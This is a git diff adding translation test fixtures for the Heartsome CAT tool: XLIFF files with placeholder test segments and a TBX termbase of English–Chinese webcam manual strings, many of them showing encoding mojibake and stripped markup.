textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - GT + 3的试验段。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 4b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + 文本段 4b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 4. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + 文本段 4。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 5. + + Test segment 5a. + 文本段 5b。 + + + Test segment 5b. + 文本段 5b。 + + + + Test segment 6. + Translation of test segment 6. + + Test segment 6b. + 文本段 6b。 + + + Test segment 6. + 文本段 6。 + + + + Test segment 7. + Translation of test segment 7. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 7a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 100 + 文本段 7a。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 7b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 7b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 8. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 8a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - QT + 文本段 8a。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 8b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 100 + 文本段 8b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + Translation of test segment 9. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + Test segment 9a. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - GT + 9a的试验段。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + Test segment 9b. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. - 101 + 文本段 9b。Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. Text textTEXTcodeTextTEXTcodeTEXTTEXTcodeTEXTtextTEXTTEXTTEXT. + + + + Test segment 10. + + Test segment 10. + 文本段 10。 + + + + Test segment 11. + Translation of test segment 11. + + Test segment 11. + 文本段 11。 + + + + Test segment 12. + Translation of test segment 12. + + Test segment 12. + 文本段 12。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-9.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-9.xlf new file mode 100644 index 0000000..90cab77 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-9.xlf @@ -0,0 +1,72 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. - Fileter1 + + Test Note 1. + + + Test segment 2. - Fileter1 + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 3. - Fileter1 + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 4. - Fileter1 + + Test Note 1. + + + Test segment 5. - Fileter2 + + Test Note 1. + + + Test segment 6. - Fileter2 + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 7. - Fileter2 + + Test Note 1. + Test Note 2. + Test Note 3. + Test Note 4. + Test Note 5. + + + Test segment 8. - Fileter2 + + Test Note 1. + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-98.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-98.xlf new file mode 100644 index 0000000..9f15d0e --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-98.xlf @@ -0,0 +1,63 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. + + + Test segment 4. + + + Test segment 4. + + Test segment 4. + 文本段 4。 + + + + Test segment 4. + + + Test segment 4. + Translation of test segment 4. + + Test segment 4. + 文本段 4。 + + + + Test segment 7. + Translation of test segment 7. + + Test segment 7. + 文本段 7。 + + + + Test segment 8. + Translation of test segment 8. + + Test segment 8. + 文本段 8。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-99.xlf b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-99.xlf new file mode 100644 index 0000000..5416c19 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/HSCAT8-99.xlf @@ -0,0 +1,63 @@ + + + +
    + + + + + + UTF-8 + +
    + + + Test segment 1. + + Test segment 1. + 文本段 1。 + + + + Test segment 2. + + + Test segment 4. + + + Test segment 4. + + Test segment 4. + 文本段 4。 + + + + Test segment 4. + + + Test segment 4. + Translation of test segment 4. + + Test segment 4. + 文本段 4。 + + + + Test segment 7. + Translation of test segment 7. + + Test segment 7. + 文本段 7。 + + + + Test segment 8. + Translation of test segment 8. + + Test segment 8. + 文本段 8。 + + + +
    +
    diff --git a/test/net.heartsome.cat.ts.test/testFiles/ImportTBXTest.tbx b/test/net.heartsome.cat.ts.test/testFiles/ImportTBXTest.tbx new file mode 100644 index 0000000..1b66cb6 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/testFiles/ImportTBXTest.tbx @@ -0,0 +1,2333 @@ + +Generated by Heartsome TMX to TBX Converter +

    tbxdefault.xcs

    +
    +
    +TI-07196 Neroc SPC620NC +test modify date + + +测'试'ä¿®'改'æ—¥'期 + + + +H'e'a'd's'e't' 'w'i't'h' 'e'a'r'p'h'o'n'e's, + + +带'å¬'ç­’'ã€'线'上'麦'å…‹'风ã€æ³¡æ²«''耳垫åŠè¡£é¢†å¤¹ï¼ˆä»… SPC505) + + + +in'-'c'o'r'd' 'm'i'c'r'o'p'h'o'n'e','f'o'a'm' 'p'a''d's' 'a'n'd' 's''h'i'r't' c'l'i'p' '('S'P'C'5'05' 'o'n'l'y')' + + +µÄ¶ú»ú + + + +7 External microphone + + +7 外置麦克风 + + + +Headset (SPC505NC only) with: + + +耳机(仅 SPC505NC)é…有: + + + +Headset with headphone and microphone(SPC525NC only) + + +带å¬ç­’和麦克风的耳机(仅SPC525NC) + + + +8 Earphones + + +8 耳机 + + + +TI_07083 Neroc SPC220 + 225 +Audio settings + + +音频设置 + + + +TI_07083 Neroc SPC220 + 225 +Volume slider + + +音é‡è°ƒèŠ‚æ»‘å— + + + +TI_07083 Neroc SPC220 + 225 +This slider provides manual control over the microphone volume. + + +此滑å—å¯ç”¨äºŽæ‰‹å·¥è°ƒèŠ‚麦克风的音é‡ã€‚ + + + +TI_07083 Neroc SPC220 + 225 +CIF CMOS + + +CIF CMOS + + + +TI_07083 Neroc SPC220 + 225 +Picture settings + + +图片设置 + + + +For listening to your meeting partner during video calling. + + +ÊÓƵ¶Ô»°Ê±ÓÃÓÚÌý¶Ô·½µÄÉùÒô¡£ + + + +9 Foam pads + + +9 泡沫耳垫 + + + +Supply comfort for your ears when video chatting. + + +ÊÓƵÃÄÌìʱΪÄúµÄ¶ú¶ä´øÀ´ÊæÊʸᣠ+ + + +10 In-cord microphone + + +10 线上麦克风 + + + +For talking to your meeting partner during video calling.. + + +ÊÓƵ¶Ô»°Ê±ÓÃÓÚÃò¶Ô·½´«ËÃÄúµÄÉùÒô¡£ + + + +11 Audio cable (SPC505NC only) + + +11 音频缆线(仅 SPC505NC) + + + +– Grey headphone plug (n) - for connecting to the headphone socket of the pc sound card. + + +– ç°è‰²è€³æœºæ’头 (n) — 用于连接至 PC 声å¡çš„耳机æ’孔。 + + + +– White microphone plug ( ) - for connecting to the microphone or green socket of the pc sound card. + + +– 白色麦克风æ’头 ( ) — 用于连接至 PC 声å¡çš„麦克风æ’孔或绿色æ’孔。 + + + +12 Shirt clip + + +12 衣领夹 + + + +For attaching the audio cable to your shirt. + + +ÓÃÓÚ½«ÒôƵÀÂÃ߹̶¨ÔÚÄúµÄÒ·þÉᣠ+ + + +16 Operating the WebCam + + +16 网络摄åƒå¤´çš„æ“作 + + + +16 WebCam Video Viewer + + +16 网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) + + + +17 Instant messenging (video chatting, video calling and VoIP) + + +17 å³æ—¶æ¶ˆæ¯ï¼Œå¦‚视频èŠå¤©ã€è§†é¢‘电è¯å’Œ VoIP + + + +• Video: + + +• 视频: + + + +use the Philips SPC500NC/SPC505NC WebCam for video chatting and video calling.The WebCam works with Skype,Windows® Live Messenger,Yahoo! + + +使用 Philips SPC500NC/SPC505NC 网络摄åƒå¤´å®žçŽ°è§†é¢‘èŠå¤©å’Œè§†é¢‘电è¯ã€‚该网络摄åƒå¤´å¯ç”¨äºŽ Skypeã€Windows® Live Messengerã€Yahoo! + + + +Messenger, AOL Messenger, QQ and other free instant messenging and VoIP (Voice over Internet Protocol) services; + + +Messengerã€AOL Messengerã€QQ 以åŠå…¶ä»–å…è´¹å³æ—¶æ¶ˆæ¯å’Œ VoIP(基于互è”网å议的语音)æœåŠ¡ï¼› + + + +The software supplied only works on PCs with the operating systems Microsoft® Windows® 98SE, ME, 2000, XP and Vista. + + +éšé™„的软件åªå¯ç”¨äºŽå®‰è£…了 Microsoft® Windows® 98SEã€MEã€2000ã€XP å’Œ Vista æ“作系统的 PC。 + + + +> After a couple of seconds the ‘Welcome’ screen appears, followed by the ‘Language selection’ screen. + + +> 几秒钟åŽå°†æ˜¾ç¤ºâ€œæ¬¢è¿Žâ€(Welcome) ç”»é¢ï¼Œä¹‹åŽä¼šæ˜¾ç¤ºâ€œè¯­è¨€é€‰æ‹©â€(Language selection) ç”»é¢ã€‚ + + + +If the 'Welcome' screen does not appear automatically, open the Microsoft®Windows® Explorer and double click on the 'Set-up.exe' icon in the CD-ROM directory. + + +如果未自动显示“欢迎â€(Welcome) ç”»é¢ï¼Œè¯·æ‰“å¼€ Microsoft®Windows® 资æºç®¡ç†å™¨ï¼Œå¹¶åœ¨ CD-ROM 目录下åŒå‡» “Set-up.exe†图标。 + + + +> Installation continues automatically. + + +> 安装将自动继续。 + + + +> The ‘Manual’ screen appears. + + +> 出现“指å—â€(Manual) ç”»é¢ã€‚ + + + +3 Select the first option if you wish to read the user manual before continuing installation.You can print out the manual so you will have it at hand during the rest of the installation process. + + +3 如果您希望在继续安装å‰é˜…读用户指å—,请选择第一个选项。您å¯å°†æŒ‡å—打å°å‡ºæ¥ï¼Œä»¥ä¾¿åœ¨ä¹‹åŽçš„安装步骤中éšæ—¶æŸ¥é˜…。 + + + +After you read or printed the user manual, continue installation by selecting the second option. + + +ûò´òÓ¡ÃËÓû§Ö¸ÄÃÖ®ºó£¬Ñ¡ÔñµÚ¶þ¸öÑ¡Ãî±ã¿É¼ÌÃø°²×°¡£ + + + +Select the second option if you wish to continue installation. + + +Èç¹ûÄúãÃû¼ÌÃø°²×°£¬ÇëÑ¡ÔñµÚ¶þ¸öÑ¡Ãî¡£ + + + +> The ‘Installation’ screen appears. + + +> 出现“安装â€(Installation) ç”»é¢ã€‚ + + + +The items that can be installed are shown on the left side of the screen. + + +ÔÚÆÃÄ»×ó±ß»áÃÔʾ¿É°²×°Ãî¡£ + + + +An explanation of each item is given on the right side. + + +ÆÃÄ»ÓÒ±ßÔòÃÔʾÿÃîµÄ˵Ã÷¡£ + + + +All items are already selected for installation. + + +ÒÑÑ¡Ôñ°²×°ËùÓÃÃî¡£ + + + +4 Click the 'Next' button if you wish to install all items. + + +4 如果您希望安装所有项,请å•å‡»â€œä¸‹ä¸€æ­¥â€(Next)。 + + + +If there are certain items you do not wish to install, check the boxes before these items. + + +Èç¹ûÄú²»Ã£Ãû°²×°Ä³Ã©ÃÇëÇå³ýÕâéÃîÇ°µÄ¸´Ñ¡¿ò¡£ + + + +Select at least ‘SPC500NC WebCam Driver’ and ‘WebCam Video Viewer’ for SPC500NC WebCam as well as for SPC505NC WebCam (software is the same for both WebCams). + + +对于 SPC500NC å’Œ SPC505NC 网络摄åƒå¤´ï¼Œè¯·è‡³å°‘选择 “SPC500NC 网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€(SPC500NC WebCam Driver) 和“网络摄åƒå¤´è§†é¢‘查看器â€(WebCam Video Viewer)(这两ç§ç½‘络摄åƒå¤´ä½¿ç”¨ç›¸åŒçš„软件)。 + + + +Click the 'Next' button. + + +å•å‡»â€œä¸‹ä¸€æ­¥â€(Next) 按钮。 + + + +V(ideo)-Lounge desktop shortcut will be installed after installation. + + +安装完æˆåŽï¼Œå°†åˆ›å»º V(ideo)-Lounge æ¡Œé¢å¿«æ·æ–¹å¼ã€‚ + + + +6 Select the user manual. + + +6 选择用户指å—。 + + + +> The ’Reboot’ screen appears. + + +> 出现“é‡æ–°å¯åŠ¨ (Reboot)â€ç”»é¢ã€‚ + + + +7 Select ‘Yes’ to restart your PC / laptop. + + +7 选择“是â€(Yes),é‡æ–°å¯åŠ¨æ‚¨çš„ PC /笔记本电脑。 + + + +> The WebCam Video Viewer desktop shortcut â–¡ will be installed after installation. + + +>软件安装完毕åŽï¼Œå°†å®‰è£…网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) æ¡Œé¢å¿«æ·æ–¹å¼ □。 + + + +> Via the WebCam Video Viewer you have access to all camerarelated software. + + +> 通过网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer),您å¯è®¿é—®æ‰€æœ‰æ‘„åƒå¤´ç›¸å…³è½¯ä»¶ã€‚ + + + +See ‘Using the applications’. + + +²Î¼û¡°Ê¹ÓÃÓ¦ÓóÌÃò¡±¡£ + + + +4 Aim the webcam as required. + + +4 按è¦æ±‚对准网络摄åƒå¤´ã€‚ + + + +5 Push the USB cable into the cable management slot. + + +5 å°† USB 缆线置入缆线管ç†æ’槽中。 + + + +• Connect the grey headphone plug (n) to the headphone socket of the PC sound card. + + +• å°†ç°è‰²è€³æœºæ’头 (n) 连接至 PC 声å¡çš„耳机æ’孔。 + + + +• Connect the white microphone plug ( )to the microphone or green socket of the sound card. + + +• 将白色麦克风æ’头 ( ) 连接至声å¡çš„麦克风æ’孔或绿色æ’孔。 + + + +• If desired, attach the foam pads to the earphones for more listening comfort. + + +• 如果需è¦ï¼Œä¹Ÿå¯ä»¥å°†å¬ç­’套上泡沫耳垫,以便更加舒适。 + + + +• If desired, click the audio cable into the shirt clip and attach the clip to your shirt. + + +• 如果需è¦ï¼Œä¹Ÿå¯ä»¥å°†éŸ³é¢‘缆线å¡å…¥è¡£é¢†å¤¹ï¼Œå†å°†è¡£é¢†å¤¹å›ºå®šåœ¨æ‚¨çš„è¡£æœä¸Šã€‚ + + + +The Philips SPC500NC/SPC505NC video properties can be changed: + + +å¯é€šè¿‡ä»¥ä¸‹æ–¹å¼æ”¹å˜ Philips SPC500NC/SPC505NC 的视频属性: + + + +- from within an application; + + +— 从应用程åºä¸­æ”¹å˜ï¼š + + + +- by clicking the WebCam Video Viewer icon in the Windows taskbar, bottom right of your screen, or + + +— 通过å•å‡»å±å¹•å³ä¸‹è§’ Windows 任务æ ä¸­çš„网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) 图标,或 + + + +- by selecting ‘Advance’ in the WebCam Video Viewer. + + +— 通过选择网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) 中的“高级†(Advance)。 + + + +See ‘Operating the WebCam. + + +16 å‚è§â€œç½‘络摄åƒå¤´çš„æ“作â€ã€‚ + + + +Operating the WebCam + + +ÃøÂçÉãÃñ÷µÄ²Ù×÷ + + + +WebCam Video Viewer + + +网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) + + + +All WebCam applications can be accessed via the WebCam Video Viewer.The WebCam Video Viewer is the central application for easy access to your Philips WebCam and all image and video applications installed during setup. + + +所有网络摄åƒå¤´åº”用程åºéƒ½å¯é€šè¿‡ç½‘络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) æ¥è®¿é—®ã€‚网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) 是一个中心应用程åºï¼Œæ‚¨å¯é€šè¿‡å®ƒè½»æ¾è®¿é—® Philips 网络摄åƒå¤´ä»¥åŠåœ¨è®¾ç½®è¿‡ç¨‹ä¸­å®‰è£…的所有图åƒå’Œè§†é¢‘应用程åºã€‚ + + + +• Start the WebCam Video Viewer: + + +• å¯é€šè¿‡ä»¥ä¸‹æ–¹å¼å¯åŠ¨ç½‘络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer): + + + +- through the Windows QuickLaunch menu in your taskbar, + + +— 通过任务æ ä¸­çš„ Windows 快速å¯åŠ¨èœå•ï¼Œ + + + +- via the program group ‘SPC500NC WebCam’, or + + +— 通过“SPC500NC 网络摄åƒå¤´â€ç¨‹åºç»„,或 + + + +- by clicking the the WebCam Video Viewer icon on the desktop. + + +— 通过å•å‡»æ¡Œé¢ä¸Šçš„网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) 图标。 + + + +> The WebCam Video Viewer will now be initiated and the WebCam Video Viewer selection screen appears. + + +> 此时将åˆå§‹åŒ–网络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer),然åŽä¼šå‡ºçŽ°ç½‘络摄åƒå¤´è§†é¢‘查看器 (WebCam Video Viewer) 的选择画é¢ã€‚ + + + +• Select ‘Format’ if you wish to adjust the video format: + + +• 如果您想è¦è°ƒæ•´è§†é¢‘æ ¼å¼ï¼Œè¯·é€‰æ‹©â€œæ ¼å¼â€(Format): + + + +> The ‘Properties’ screen appears. + + +> 出现“属性â€(Properties) ç”»é¢ã€‚ + + + +- Frame Rate (30,000): + + +— 帧率 (30,000): + + + +the number of frames displayed per second.The higher the frame rate, the better the video quality. + + +ÿÃëÃÔʾµÄÖ¡Êý¡£Ö¡ÂÊÔ½¸ß£¬Ã¼ÃñÖÊÿԽºÃ¡£ + + + +- Color Space (RGB 24) / Compression (1420): + + +— 色彩空间 (RGB 24) / 色彩压缩 (1420): + + + +Compression 1420 reduces the quantity of data used to show video content without excessively reducing the picture quality. + + +色彩压缩 1420 å‡å°‘了用于显示视频内容的数æ®é‡ï¼Œä½†åˆä¸ä¼šæ˜Žæ˜¾é™ä½Žå›¾ç‰‡è´¨é‡ã€‚ + + + +Compressed video files are easier to store and transmit than non-compressed video files. + + +ѹËõµÄÊÓƵÎļþ±ÈÆðδѹËõµÄÊÓƵÎļþ¸üÒ×´æ´¢ºÃ´«Ëᣠ+ + + +Select this option for Internet applications. + + +ÔÚʹÓû¥ÃªÃøÓ¦ÓóÌÃòʱ£¬¿ÉÑ¡Ôñ´ËÑ¡Ãî¡£ + + + +Operating the camera + + +16 æ‘„åƒå¤´çš„æ“作 + + + +Color space is a representation of the amount of color gradations the WebCam is able to capture, expressed in bits per pixel (individual point of color). + + +色彩空间代表了网络摄åƒå¤´èƒ½æ•èŽ·çš„色彩层次的é‡ï¼Œå•ä½ä¸ºâ€œä½/åƒç´ â€ï¼ˆé¢œè‰²çš„æ¯ä¸ªç‚¹ï¼‰ã€‚ + + + +RGB24, also known as Truecolor, refers to 8 bit per color component (Red, Green, Blue), resluting in 24 bits per pixel.This modes makes it possible to represent 256 gradations of each color component. + + +RGB24(å³â€œçœŸå½©è‰²â€ï¼‰æŒ‡æ¯ç§è‰²å½©å…ƒç´ ï¼ˆçº¢ã€ç»¿ã€ç¯®ï¼‰å ç”¨ 8 ä½ï¼Œå› æ­¤ï¼Œæ¯ä¸ªåƒç´ ä¾¿å ç”¨ 24 ä½ã€‚通过这ç§æ¨¡å¼ï¼Œå¯ä»¥å°†æ¯ç§è‰²å½©å…ƒç´ ä»¥ 256 个层次表现出æ¥ã€‚ + + + +Select this option for non-Internet applications. + + +ʹÓ÷ǻ¥ÃªÃøÓ¦ÓóÌÃòʱ£¬¿ÉÑ¡Ôñ´ËÑ¡Ãî¡£ + + + +- Output size (resolution): + + +— 输出大å°ï¼ˆåˆ†è¾¨çŽ‡ï¼‰ï¼š + + + +Resolution is the number of pixels (individual points of color) on both horizontal and vertical axis of a monitor.The sharpness of the displayed image depends on the resolution and the size of the monitor.The higher the output size, the higher the resolution (and sharpness) of the displayed image. + + +·Ö±æÂÊÊÇÖ¸Ò»¸öÃÔʾÆ÷ºáÃòÖáºÃ×ÃÃòÖáÉõÄÃñËØ£¨ÑÕÉ«µÄÿ¸öµã£©¸öÊý¡£ÃÔʾµÄüÃñÊÇ·ñ±ÆÕæÒÀÀµÓÚÃÔʾÆ÷µÄ·Ö±æÂʺôóá¡£Êä³öÔ½¸ß£¬ÃÔʾüÃñµÄ·Ö±æÂÊ£¨±ÆÕæ¶È£©¾ÃÔ½¸ß¡£ + + + +• Select ‘Advance’ to access the WebCam settings. + + +• 选择“高级â€(Advance),进入网络摄åƒå¤´è®¾ç½® (WebCam settings) ç•Œé¢ã€‚ + + + +See ‘WebCam settings’. + + +å‚è§â€œç½‘络摄åƒå¤´è®¾ç½®â€(WebCam settings)。 + + + +• Check the ‘Capture Audio’ box if you wish to capture your voice as well during video recording. + + +• 如果您希望在录åƒè¿‡ç¨‹ä¸­æ•èŽ·å£°éŸ³ï¼Œè¯·å‹¾é€‰â€œæ•èŽ·éŸ³é¢‘â€(Capture Audio) å¤é€‰æ¡†ã€‚ + + + +Making a video recording + + +¼ÖÆÊÓƵ + + + +1 Select ‘Record’. + + +1 选择“录制â€(Record)。 + + + +2 Select a folder to store the recording in. + + +2 选择用æ¥å­˜å‚¨å½•åƒæ–‡ä»¶çš„文件夹。 + + + +> Recording starts immediately. + + +> 录制便会立å³å¼€å§‹ã€‚ + + + +> Elapsed playing time, file size and free disk space are shown. + + +> 显示已播放的时间ã€æ–‡ä»¶å¤§å°å’Œå¯ç”¨ç£ç›˜ç©ºé—´ã€‚ + + + +• Select ‘Stop’ to stop recording. + + +• 选择“åœæ­¢â€(Stop) å¯åœæ­¢å½•åˆ¶ã€‚ + + + +• Select ‘Playback’ to play the recording. + + +• 选择“é‡æ”¾â€(Playback) å¯æ’­æ”¾å½•åˆ¶çš„视频。 + + + +Instant messenging and Internet calling + + +¼´Ê±ÃûâºÃÃøÂçµç»° + + + +(video chatting, video calling and VoIP) + + +(视频èŠå¤©ã€è§†é¢‘电è¯å’Œ VoIP) + + + +The Philips SPC500NC/SPC505NC WebCam works with all free instant messenging and VoIP (Voice over Internet Protocol) applications such as Skype,Windows® Live Messenger,Yahoo! + + +Philips SPC500NC/SPC505NC 网络摄åƒå¤´å¯ç”¨äºŽæ‰€æœ‰å…费的å³æ—¶æ¶ˆæ¯å’Œ VoIP (基于互è”网å议的语音)应用程åºï¼Œå¦‚ Skypeã€Windows® Live Messengerã€Yahoo! + + + +Messenger,AOL Messenger and QQ. + + +Messengerã€AOL Messenger å’Œ QQ。 + + + +• Download and install the desired applications via their websites. + + +• 通过å„自的网站下载并安装所需应用程åºã€‚ + + + +• Follow the on-screen instructions during downloading and installing. + + +• 按照å±å¹•æ˜¾ç¤ºè¯´æ˜Žä¸‹è½½å¹¶å®‰è£…软件。 + + + +• After installing an application, make the required WebCam settings within the application in order to be able to properly use the WebCam via the application. + + +• 安装应用程åºåŽï¼Œä¸ºäº†èƒ½é€šè¿‡åº”用程åºæ­£ç¡®åœ°ä½¿ç”¨ç½‘络摄åƒå¤´ï¼Œåº”在应用程åºä¸­è¿›è¡Œå¿…è¦çš„设置。 + + + +Real video resolution (Max.) ..................................VGA (640 x 480) + + +实际视频分辨率(最大) ..................................VGA (640 x 480) + + + +Real still image resolution (Max.) ......................... + + +实际é™æ­¢ç”»é¢åˆ†è¾¨çŽ‡ï¼ˆæœ€å¤§ï¼‰ ......................... + + + +VGA (640 x 480) + + +VGA (640 x 480) + + + +Interpolated still image resolution (Max.)Super VGA (800 x 600) + + +æ’值é™æ­¢ç”»é¢åˆ†è¾¨çŽ‡ï¼ˆæœ€å¤§ï¼‰è¶…级 VGA (800 x 600) + + + +Frames per second ........................................................................30 fps + + +æ¯ç§’帧数 ........................................................................30 